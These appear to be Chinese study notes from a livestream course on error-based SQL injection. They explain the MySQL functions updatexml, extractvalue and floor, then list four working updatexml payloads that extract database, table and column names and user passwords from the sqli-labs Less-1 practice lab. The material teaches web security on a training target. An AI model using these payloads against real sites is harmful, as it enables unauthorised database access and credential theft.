冬令营线上直播学习笔记4——SQL注入报错注入
一、理论知识
1.什么是报错注入?
在MySQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库的报错信息,在语法输入错误的时候将信息输出前端显示,我们可以从报错信息中获取信息。
2.报错注入常用的函数
updatexml():xml文档数据进行查询和修改的XPATH函数
extractvalue():xml文档数据进行查询和修改的XPATH函数
floor():数据库中取整的函数
二、实验
这里的实验是对sqli-labs的Less-1 进行报错注入攻击实战。
1.爆数据库名。
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
- 0x3a是冒号的十六进制
0x3b是分号的十六进制
0x7e是~符号的十六进制编码
2.爆数据表名。
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)
3.爆字段名。
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)
4.爆字段内容。
and updatexml(1,concat(0x7e,(select group_concat(id,0x3b,username,0x3b,password) from security.users),0x7e),1)
搞不懂函数的具体含义无所谓,灵活修改payload就行了。